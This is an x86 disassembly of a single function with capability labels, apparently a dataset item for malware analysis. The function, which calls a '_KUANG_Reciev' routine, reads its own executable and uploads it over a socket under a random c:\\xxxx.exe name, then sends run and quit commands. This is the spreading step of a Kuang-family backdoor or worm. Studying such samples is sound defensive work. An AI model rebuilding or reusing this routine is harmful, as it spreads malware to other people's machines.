Function at 0x40a484
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
mov dword [ebp - 0x424], 0
mov dword [esp + 8], 0xf
mov dword [esp + 4], 0
lea eax, [ebp - 0x53c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 5
mov dword [esp + 4], 0
lea eax, [ebp - 0x52d]
mov dword [esp], eax
call sym._memset
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x10], 0
jmp 0x40a524
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 3
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1a
mov eax, ecx
sub eax, edx
add eax, 0x61
mov ecx, eax
lea edx, [ebp - 0x52d]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 3
jle 0x40a4eb
mov eax, dword [ebp - 0x10]
add eax, 1
mov byte [ebp + eax - 0x52d], 0
lea eax, [ebp - 0x52d]
mov dword [esp + 8], eax
mov dword [esp + 4], str.c:_s.exe
lea eax, [ebp - 0x53c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x424]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x8004667e
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_ioctlsocket]
call eax
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._KUANG_Reciev
cmp eax, 0xffffffff
je 0x40a891
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], 0x469ae0
call sym._memset
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x528]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40a894
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [0x420464]
mov dword [eax], 0x46445055
mov eax, dword [0x420464]
mov edx, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov eax, dword [0x420464]
lea edx, [eax + 8]
lea eax, [ebp - 0x53c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x469ae0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._KUANG_Reciev
cmp eax, 0xffffffff
je 0x40a897
jmp 0x40a78b
mov dword [ebp - 0x14], 0x400
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x420]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xc], eax
jae 0x40a6dc
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x424]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x40a785
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x40a797
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40a6a9
jmp 0x40a798
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._KUANG_Reciev
cmp eax, 0xffffffff
je 0x40a89a
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40a7c2
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], 0x469ae0
call sym._memset
mov eax, dword [0x420464]
mov dword [eax], 0x464e5552
mov eax, dword [0x420464]
lea edx, [eax + 4]
lea eax, [ebp - 0x53c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x469ae0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._KUANG_Reciev
cmp eax, 0xffffffff
je 0x40a89d
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], 0x469ae0
call sym._memset
mov eax, dword [0x420464]
mov dword [eax], 0x54495551
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 0x469ae0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x40a8b3
nop
jmp 0x40a89e
nop
jmp 0x40a89e
nop
jmp 0x40a89e
nop
jmp 0x40a89e
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret